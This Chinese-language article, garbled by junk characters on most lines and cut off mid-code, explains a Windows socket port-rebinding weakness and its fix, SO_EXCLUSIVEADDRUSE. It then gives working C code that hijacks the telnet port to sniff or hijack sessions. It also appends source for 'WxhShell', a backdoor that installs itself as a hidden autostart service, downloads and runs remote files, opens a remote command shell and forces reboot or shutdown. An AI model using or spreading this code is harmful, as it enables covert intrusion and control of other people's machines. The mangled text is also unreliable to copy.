在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
L@)&vn] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hY;_/!_ -WR}m6yMr saddr.sin_family = AF_INET;
NrJzVGeS QXQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Bku'H hw,^G5m bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\2DE==M)P }C6@c1myq- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Q7Ij4 c?6d2jH. 这意味着什么?意味着可以进行如下的攻击:
\KM|f9-b F-0UdV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k$[{n'\@ 'F_}xMU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}=@zj6AC QlzQ]:dWC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
YdOUv|tZC P#tvm, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'V!kL,
9ES zXre~b03ZS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=HE
m) `BT*,6a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{yq8<? TbNGgjT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[&VxaJ("3 kV)'a #include
Fj=NiZ= #include
!IAKVQ #include
DX@}!6|T #include
ki4f*Ej DWORD WINAPI ClientThread(LPVOID lpParam);
B=zMYi int main()
Q=+8/b {
@-6?i) WORD wVersionRequested;
hZuYdV{'h DWORD ret;
b=LF%P WSADATA wsaData;
<5ZJ]W BOOL val;
YFx=b!/s SOCKADDR_IN saddr;
:XS"#^aJ SOCKADDR_IN scaddr;
Dd/}Ya(Gi int err;
h~ha SOCKET s;
rSyaZ6# SOCKET sc;
-CU,z|g+ int caddsize;
lgT?{,>RkW HANDLE mt;
u%opY<h DWORD tid;
<o@ )SD~K wVersionRequested = MAKEWORD( 2, 2 );
2V$9ei6 err = WSAStartup( wVersionRequested, &wsaData );
F0;1zw if ( err != 0 ) {
yiT{+;g^ printf("error!WSAStartup failed!\n");
|R~;&x: return -1;
ryEvmWYu }
t<lyg0f saddr.sin_family = AF_INET;
5Rs?CVVb $FCw$ +w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^Kw(&v oQvFrSz saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
A?Sm-#n{ saddr.sin_port = htons(23);
RndOm.TE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qJMp1DC {
` u=<c printf("error!socket failed!\n");
+"=~o5k3Q return -1;
>B~?dT m }
,k%8yK val = TRUE;
nHU3%%%cU //SO_REUSEADDR选项就是可以实现端口重绑定的
y h-9u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
r5)f82pQ {
>@Khm"/T printf("error!setsockopt failed!\n");
6DZ2pT: return -1;
X,53c$ }
j?J=w=.Nx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
L&HzN{K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N[{]iQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ja=N@&Z# %0(>!SY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D4\(:kF\Hg {
"GB UQ} ret=GetLastError();
nP)-Y#`~7 printf("error!bind failed!\n");
1
'%-y return -1;
2 ^ kn5 }
B)d@RAk listen(s,2);
B2"+Hwbk while(1)
F~P/*FFK {
OAyE/Q| caddsize = sizeof(scaddr);
{8i}Ow //接受连接请求
x
k#*= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L%4tw5*N if(sc!=INVALID_SOCKET)
CY\mU_.b {
4w2L?PDMi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
lZ+/\s,]| if(mt==NULL)
^f"&}%" M {
ix+x3OCip printf("Thread Creat Failed!\n");
IT7:QEfKU break;
2f
/bEpi }
B)(w%\M4^ }
CTh1;U20 CloseHandle(mt);
m
R"9&wq }
C(ZcR_+r$, closesocket(s);
-kt1t@O WSACleanup();
4>d[qr*< return 0;
13]y)( }
|Yg}WHm DWORD WINAPI ClientThread(LPVOID lpParam)
<`b|L9 {
f61]`@Bk SOCKET ss = (SOCKET)lpParam;
ZW`HDrP` SOCKET sc;
7jD@Gp`" 3 unsigned char buf[4096];
F\l!A'Q+t SOCKADDR_IN saddr;
]oo|o1H87 long num;
H==X0 DWORD val;
ook' u}h DWORD ret;
;%lJD"yF //如果是隐藏端口应用的话,可以在此处加一些判断
HXz iDnj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
r{c5dQ
saddr.sin_family = AF_INET;
1Z=;Uy\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zbdOCfA; saddr.sin_port = htons(23);
i,^>uf if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LjX&', {
N>h]mX6 printf("error!socket failed!\n");
YlxUx return -1;
VN1#8{ }
%Gnd"SGs val = 100;
nT(!HDH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d;IJ0xB+by {
PP~CZ2Fze ret = GetLastError();
yRSy(/L^+ return -1;
oKZ[0(4< }
4j2~"K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
UEk|8yq {
4d,qXSKty ret = GetLastError();
h:eN>yW return -1;
N2 M?5fF }
#p;4:IT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V/+H_=| {
_
+u sn. printf("error!socket connect failed!\n");
K7YT0cG closesocket(sc);
9G=A)j closesocket(ss);
jLpgWt`8)E return -1;
xUV_2n+ }
gogl[gHO while(1)
k|)^!BdO {
[j]}$fFe //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U]1>?,Nk'3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
N GX-'w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b*9m2=6 num = recv(ss,buf,4096,0);
q>wa#1X) if(num>0)
AqTR.}H send(sc,buf,num,0);
pRb+'v&_k else if(num==0)
=+kvL2nx- break;
HQjxJd5P num = recv(sc,buf,4096,0);
_CYmG"mY if(num>0)
Mr@<ZTw send(ss,buf,num,0);
h Js&rpN else if(num==0)
UeIqAG 8 break;
fwz5{>ON] }
D"1vw<Ak closesocket(ss);
Zi15wE closesocket(sc);
1D#T+t`[ return 0 ;
2\kC_o97 }
4C2>0O<^s @Wlwt+;fT }Etd#"> ==========================================================
aH~x7N6! =2GP^vh 下边附上一个代码,,WXhSHELL
T% jjs e%5'(V-y, ==========================================================
}-k_?2"A 98<bF{#0WM #include "stdafx.h"
t/EMBfLc o)$Q]N## #include <stdio.h>
tOp:e KN #include <string.h>
2xz%'X% #include <windows.h>
'2i)#~YO< #include <winsock2.h>
!rN#PF> #include <winsvc.h>
Q*oA{eZY #include <urlmon.h>
g6k&c"%IQ( ]y$V/Ij=qK #pragma comment (lib, "Ws2_32.lib")
C>\h?<s #pragma comment (lib, "urlmon.lib")
Gh chfI. D| 8sjp4 #define MAX_USER 100 // 最大客户端连接数
8z3I~yL_`+ #define BUF_SOCK 200 // sock buffer
-X6\[I:+A #define KEY_BUFF 255 // 输入 buffer
A$$R_3ne RLeSA\di #define REBOOT 0 // 重启
3 z{5c #define SHUTDOWN 1 // 关机
T5X'D(\| t8a@L(J$ #define DEF_PORT 5000 // 监听端口
UH.}B3H s|rZ>SLL #define REG_LEN 16 // 注册表键长度
fTi{oY,zTg #define SVC_LEN 80 // NT服务名长度
OGD8QD Y ~\`0?ST // 从dll定义API
K[3D{= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V"D<)VVA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LgD{! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E?;T:7.% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_sCJ3ZJ Wtzj;GJj // wxhshell配置信息
+p%5/smfs struct WSCFG {
#xJGuYdv int ws_port; // 监听端口
R)DNFc: char ws_passstr[REG_LEN]; // 口令
IJb1)
ZuR int ws_autoins; // 安装标记, 1=yes 0=no
CzDR% v x char ws_regname[REG_LEN]; // 注册表键名
V+@%(x@D_ char ws_svcname[REG_LEN]; // 服务名
6=`m char ws_svcdisp[SVC_LEN]; // 服务显示名
Bb2r95h}^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
aZ`_W| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
olQ8s* int ws_downexe; // 下载执行标记, 1=yes 0=no
AD4L`0D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6@Z'fT4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
OKLggim{ j@_) F^12 };
W;)FNP|MT @{$Cv"6769 // default Wxhshell configuration
r>:7${pF struct WSCFG wscfg={DEF_PORT,
M&BM,~ "xuhuanlingzhe",
7! A%6 1,
V?L$ys "Wxhshell",
b&V]|Z( "Wxhshell",
VTgbJ{? "WxhShell Service",
gPhw.e"" "Wrsky Windows CmdShell Service",
+e3WwUx "Please Input Your Password: ",
DJ2]NA$Q* 1,
>7v.`m6?H "
http://www.wrsky.com/wxhshell.exe",
g cK" "Wxhshell.exe"
N@du.d: };
SpTORR8 XCi]()TZ_ // 消息定义模块
j*Wh;I+h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'2qxcc o char *msg_ws_prompt="\n\r? for help\n\r#>";
-GkK[KCH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#SLxN AH char *msg_ws_ext="\n\rExit.";
S&))
0d char *msg_ws_end="\n\rQuit.";
+qW w-8 char *msg_ws_boot="\n\rReboot...";
4+ ?ZTc( char *msg_ws_poff="\n\rShutdown...";
6L`+z char *msg_ws_down="\n\rSave to ";
gp&&
c, Hk~
gcG char *msg_ws_err="\n\rErr!";
:`"T Eif char *msg_ws_ok="\n\rOK!";
+` Y ?- Ev|{~U char ExeFile[MAX_PATH];
TWR#MVMI int nUser = 0;
tP^mq> HANDLE handles[MAX_USER];
p31rhe int OsIsNt;
SAo\H 5`{;hFl SERVICE_STATUS serviceStatus;
rj f=qh5s SERVICE_STATUS_HANDLE hServiceStatusHandle;
BnnUUaE q?]@' ^:; // 函数声明
)D-.7m.v] int Install(void);
sq6% =(q(? int Uninstall(void);
Sph"w08 int DownloadFile(char *sURL, SOCKET wsh);
(l!D=qy int Boot(int flag);
-O>mY) void HideProc(void);
mP
.&fS int GetOsVer(void);
`zOAltfd int Wxhshell(SOCKET wsl);
<B{VL8IA> void TalkWithClient(void *cs);
Wv*BwiQ int CmdShell(SOCKET sock);
,m'#>d&zO int StartFromService(void);
/B?SaKh int StartWxhshell(LPSTR lpCmdLine);
Jc#)T;#6 }ok
nB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/E
yg*# VOID WINAPI NTServiceHandler( DWORD fdwControl );
?m
r@B huD\dmQ:] // 数据结构和表定义
Rc.<0# SERVICE_TABLE_ENTRY DispatchTable[] =
4bJ2<j {
#vZ]2Ud=2 {wscfg.ws_svcname, NTServiceMain},
0N[DV] {NULL, NULL}
.yh2ttf<gB };
{Ljl4Sp& ^?.:} // 自我安装
]\mb6Hc int Install(void)
P;o>~Y>x {
+FKP5L} char svExeFile[MAX_PATH];
BNoCE! HKEY key;
.q[sk strcpy(svExeFile,ExeFile);
pz6-
hi7 =|&"/$+s // 如果是win9x系统,修改注册表设为自启动
}(%}"%$ if(!OsIsNt) {
`L[32B9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p1gX4t]%}a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k@)m- K RegCloseKey(key);
}b\q<sNE{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IS*"_o<AR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.O-DVW Cm RegCloseKey(key);
adr^6n6v return 0;
w58 QX/XG }
U)=Z&($T }
h)RM9813< }
H_f2:Za else {
}fMFQA) dv}R]f' // 如果是NT以上系统,安装为系统服务
O|TwG:! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
; Kb[UZ1 if (schSCManager!=0)
$>s@T( {
7MJ)p$& SC_HANDLE schService = CreateService
Z q>.;> (
QM=436fq schSCManager,
kc']g:*]Y wscfg.ws_svcname,
z>g& ?vo2 wscfg.ws_svcdisp,
Ywk[VD+. SERVICE_ALL_ACCESS,
kJpHhAn4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
c(g^*8Pb SERVICE_AUTO_START,
@O0vh$3t0 SERVICE_ERROR_NORMAL,
Nv]/L+i svExeFile,
]Tw6Fg1o> NULL,
QN a3S* NULL,
@z JZoJL]J NULL,
#_sVB~sn@ NULL,
"EkO>M/fr NULL
MW@b;=( );
=0fx6V if (schService!=0)
959jp85 {
<l/Qf[V CloseServiceHandle(schService);
s/0FSv
x CloseServiceHandle(schSCManager);
>:nJTr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R:m=HS_ strcat(svExeFile,wscfg.ws_svcname);
F9J9pgVP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
DJjDKVO5t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>mSl~.I2 RegCloseKey(key);
&L`p4AZ return 0;
_\[JMhd} }
KCT"a:\ }
+Z(VWu6 CloseServiceHandle(schSCManager);
#X_ M }
uQ+$Hzx X }
V)jhyCL YVp0}m return 1;
' *C)S }
(\Zo"x;( 0DT2qM[, // 自我卸载
Px&Mi:4tG int Uninstall(void)
boB{Y 7gO4 {
*0ntx$M-w HKEY key;
;| ,Y2?
F>R)~;Ja if(!OsIsNt) {
LB+=?Mz V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%b4(wn?n:B RegDeleteValue(key,wscfg.ws_regname);
<q=B(J' RegCloseKey(key);
EPnB%'l\c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8gm[Q[
RegDeleteValue(key,wscfg.ws_regname);
6{WT;W>WT: RegCloseKey(key);
*heQ@ww return 0;
D];([:+4 }
&}=,8Gt1G }
{moNtzE; }
,OAWGFKOp else {
d>psqmQ _Hj,;Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Oip..f0 if (schSCManager!=0)
%=eD)p7l- {
hKeh9 Bt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<u/({SZ& if (schService!=0)
Md{f,,E'^@ {
bZfJG^3 if(DeleteService(schService)!=0) {
%,RU)} CloseServiceHandle(schService);
lB@K;E@r8 CloseServiceHandle(schSCManager);
=R`2 m return 0;
!PbFo%) }
?V&a |:N9 CloseServiceHandle(schService);
nEr, jd~f }
a8c]B/ CloseServiceHandle(schSCManager);
Rx2|VD }
PyE<`E }
vLS6Gb't dBn.DU*B return 1;
`d#_66TLr }
Xxw.{2Ji!q :\RB ^3; // 从指定url下载文件
n8,/olqwW int DownloadFile(char *sURL, SOCKET wsh)
QV1%Zou {
[} 3Y1t{G HRESULT hr;
.1}(Bywm5 char seps[]= "/";
ghiElsBU char *token;
7|Y8^T
s char *file;
t/(j8w char myURL[MAX_PATH];
)}5rs char myFILE[MAX_PATH];
b7mP~]V &T}e93] strcpy(myURL,sURL);
}$U6lh/Ep token=strtok(myURL,seps);
]h@:Y] while(token!=NULL)
OSU=O {
"rJL ^ \r file=token;
4ebGAg ?_ token=strtok(NULL,seps);
xy>mM"DOH }
*%sYajmD sBL^NDqa2 GetCurrentDirectory(MAX_PATH,myFILE);
,_O[;L strcat(myFILE, "\\");
+[+Jd)Z strcat(myFILE, file);
u1<kdTxA
N send(wsh,myFILE,strlen(myFILE),0);
[%:NR send(wsh,"...",3,0);
Pp!W$C: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`BY`ltW if(hr==S_OK)
eD0@n
: return 0;
k/O&,T77}J else
!^\/
1^ return 1;
krU2S- eyV904<F }
.jw)e!<\N
VVY\W! // 系统电源模块
v>R.ou( int Boot(int flag)
:8g \B{ {
oY:>pxSz<@ HANDLE hToken;
[Ma9 TOKEN_PRIVILEGES tkp;
&h-1Z} kEh# 0 if(OsIsNt) {
H++rwVwj#h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<Jz>e}*) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
LX'US-B.! tkp.PrivilegeCount = 1;
$'Z!Y;Ue tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0M p>X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]gZjV if(flag==REBOOT) {
D![Twlll if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{ar}.U return 0;
ptcU_*Gd }
xB#E&}Ho else {
cAS5&T< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HS7!O return 0;
EC0auB7G }
r{_'2Z_i }
<[bDNe["? else {
Khl7Ez if(flag==REBOOT) {
XA68H!I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
YX(%jcj* return 0;
~S9nLb:O{ }
C
Qebb:y else {
|%} ?*|- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j&9~OXYv return 0;
NINiX( }
F)G#\r }
(@Bm2gH ]jYM;e return 1;
>J1o@0tk }
_%]H}N Q %M`&}'6' // win9x进程隐藏模块
~A)$= " void HideProc(void)
!8$}]uWP {
moGbBkO [*(MI 9WM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V*N9D>C if ( hKernel != NULL )
FYJB.lAT {
'"EOLr\Z, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*HRRv.iQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
lMP7o& FreeLibrary(hKernel);
F-6*
BUqJ }
@N$r'@ WBGYk); return;
k)J7) L }
k1<Py$9" fiZ8s=J // 获取操作系统版本
>cp9{+#f int GetOsVer(void)
-'2.^a-8-g {
?cJ$= OSVERSIONINFO winfo;
jL# ak V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*=8)]_=f GetVersionEx(&winfo);
+2?[=g4;} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=cQwR:): return 1;
:1iw_GhJf else
wcOAyo5(n return 0;
(R,eWWF8~ }
#SdaTMLFf r{btBv // 客户端句柄模块
/c7j@=0 int Wxhshell(SOCKET wsl)
E*%{Nn {
k}/:
xN" SOCKET wsh;
P/_XDP./U struct sockaddr_in client;
kU /?#s DWORD myID;
1ysA~2 buoz La while(nUser<MAX_USER)
kBTuM" {
b7n~z1$ int nSize=sizeof(client);
`XnFc*L 1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}8svd#S+ if(wsh==INVALID_SOCKET) return 1;
17 GyE=Uu oTL "]3`' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,uw&)A if(handles[nUser]==0)
kahv1s- closesocket(wsh);
?z6C8T~+ else
L=$P nUser++;
fkYQ3d,` }
Ub"\LUu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@EQ{lGpU3 23>?3-q return 0;
B[$e;h*Aw[ }
MLDuo|? ldxUq,p // 关闭 socket
yF:fxdpw void CloseIt(SOCKET wsh)
aZ'p:9e {
,R)[$n closesocket(wsh);
OJ 2M_q)e nUser--;
eD}Ga4 ExitThread(0);
4ldN0_T5 }
R[Rs2eS_ {hl_/
aG // 客户端请求句柄
qGw6Wp~ void TalkWithClient(void *cs)
suVS!}
C {
~UnfS};U 6B 8!2 SOCKET wsh=(SOCKET)cs;
vw3W:TL char pwd[SVC_LEN];
2|cIu ' U char cmd[KEY_BUFF];
>[p+L=' char chr[1];
*-n$n int i,j;
<Z5prunov acH.L_B: while (nUser < MAX_USER) {
w 8E,zH Ze~\=X" " if(wscfg.ws_passstr) {
E )PEKWK\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^O?$}sr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*D'VW{ //ZeroMemory(pwd,KEY_BUFF);
D H/1 :H i=0;
5!Guf?i while(i<SVC_LEN) {
s)C.e# xl =m40{ // 设置超时
Pg:Nz@CQ fd_set FdRead;
q\~7z1 struct timeval TimeOut;
D Lu]d$G FD_ZERO(&FdRead);
b"gYNGgX FD_SET(wsh,&FdRead);
+vQyHo TimeOut.tv_sec=8;
<
;g0?M\ TimeOut.tv_usec=0;
{ sZrI5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\CL`j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r8xH A !b7H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^a(q7ZfY pwd
=chr[0]; u]}Xq{ZN
if(chr[0]==0xd || chr[0]==0xa) { W=DQ6.
pwd=0; U3Q'ZT
break; 4, :D4WYWD
} 7fVVU+y
i++; Uq&|iB#mF
} n;MoMGnPh,
a5)+5
// 如果是非法用户,关闭 socket 2q#$?qs_b
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ft]sTA+C
} %jkd}D
| zA ey\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cB<Zez
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $UH_)Q2#J^
T.xW|Iwx
while(1) { [fb -G5x
|[qI2-e l?
ZeroMemory(cmd,KEY_BUFF); aw,8'N)
l+#`
// 自动支持客户端 telnet标准 $Fo ,$
j=0; iX,Qh2(ig
while(j<KEY_BUFF) { vEb~QX0~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Vc}W
cmd[j]=chr[0]; o(a*Fk$
if(chr[0]==0xa || chr[0]==0xd) { qaUHcdH
cmd[j]=0; 2Zl65
break; !~RD>N&n
} wU=(_S,c
j++; J3$ihH.
} OLiYjYd
SsaF><{5R
// 下载文件 SVR AkP-
if(strstr(cmd,"http://")) { ;zGGT^Dn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Ph"*Rz%
if(DownloadFile(cmd,wsh)) 6L4B$'&KQZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R &-bA3w$
else s0\X%U("
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
R)H@'X
} ~"LOw_BRh
else { dx~F [
4(Mt6{q
switch(cmd[0]) { |GMK@Q'0:
l@^RbF['
// 帮助 2Gj&7A3b
case '?': { F|"NJ*o}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m1frN#3
break; #)\KV7f!;
} 'al-C;Z
// 安装 >- :U
case 'i': { |~>8]3. Y
if(Install()) Hj5b.fB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Po.&eS
else ZGS=;jM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \zKVgywR
break; s*S@}l
} t!PFosFp
// 卸载 1e&`m~5K+
case 'r': { h[ tOY
if(Uninstall()) 8`im4.~#%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); No[>1]ds
else d+/d)cu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]-0
&[@I4@
break; [H"Ods~_`
} 79i>@u%
// 显示 wxhshell 所在路径 l5aQDkp}
case 'p': { =7$YBCuF
char svExeFile[MAX_PATH]; 7qs[t7-h?
strcpy(svExeFile,"\n\r"); ,,i;6q_f
strcat(svExeFile,ExeFile); WjA)0HL(
send(wsh,svExeFile,strlen(svExeFile),0); b]J_R"}
break; &"d4J?io`
}
LDbo
// 重启 ]ao]?=q C
case 'b': { \ii^F?+b
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ((H}d?^AJ
if(Boot(REBOOT)) 5:YtBdP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H
>RGX#|
else { JNZKzyJ9K
closesocket(wsh); R^K<u#>K
ExitThread(0); aZmSCi:&'
} 2Qn%p[#n
break; ;Yi ;2ttW
} 8(ZQD+U(9F
// 关机 tv?~LJYN
case 'd': { ??k^Rw+0R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M T{^=F ]
if(Boot(SHUTDOWN)) ($ae n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#sE\D
else { ]
Li(E:
closesocket(wsh); N<?RN;M
ExitThread(0); ty(F;M(
} cnI!}Bu
break; _7 n+j
} >WDb89kC=
// 获取shell q~a6ES_lA
case 's': { &ts!D!Hj
CmdShell(wsh); S c@g;+#QU
closesocket(wsh);
}<XeZ?;
ExitThread(0); }n8,Ga%
break; `m3C\\9;
} -N9U lW2S
// 退出 lPx4I
case 'x': { FCOSgEU
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "4I`.$F%O(
CloseIt(wsh); WM9QC59
break; eoow]me
} i 1
// 离开 &L+u]&!6C
case 'q': { U|iSJ%K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j_Dx4*vg
closesocket(wsh); .vwOp*3\
WSACleanup(); =:5yRP
exit(1); U+nwLxe'
break; .(3B}}gB>
} W4T>@b.
} (3 B;
V
} ]W]Vkkg]
sgFpZk
// 提示信息 E@t^IGDr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TVYO`9:CW
} ?. CA9!|
} @|r*yi
Rh,*tS
return; MX
qH
} % &{>oEQ
]#_,?d
// shell模块句柄 O
/aC%%
int CmdShell(SOCKET sock) spgY &OI;
{ :MpIx&
STARTUPINFO si; !*N#}6Jd
ZeroMemory(&si,sizeof(si)); L1M]ya!l
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "o%N`Xlx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oO!@s`
PROCESS_INFORMATION ProcessInfo; YP+0uZ[g
char cmdline[]="cmd"; vlx
wt~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v?5Xx{ym
return 0; rAk*~OK
} '^n2]<
^uC1\!Q1
// 自身启动模式 ZA+$ZU^
int StartFromService(void) HIeWgw^"
{ +#n5w8T)M
typedef struct c.,eIiL
{ sl>4O]N
DWORD ExitStatus; mI"`.
DWORD PebBaseAddress; pn>zuHe
DWORD AffinityMask; ]#TL~u[
DWORD BasePriority; Yw4c`MyL
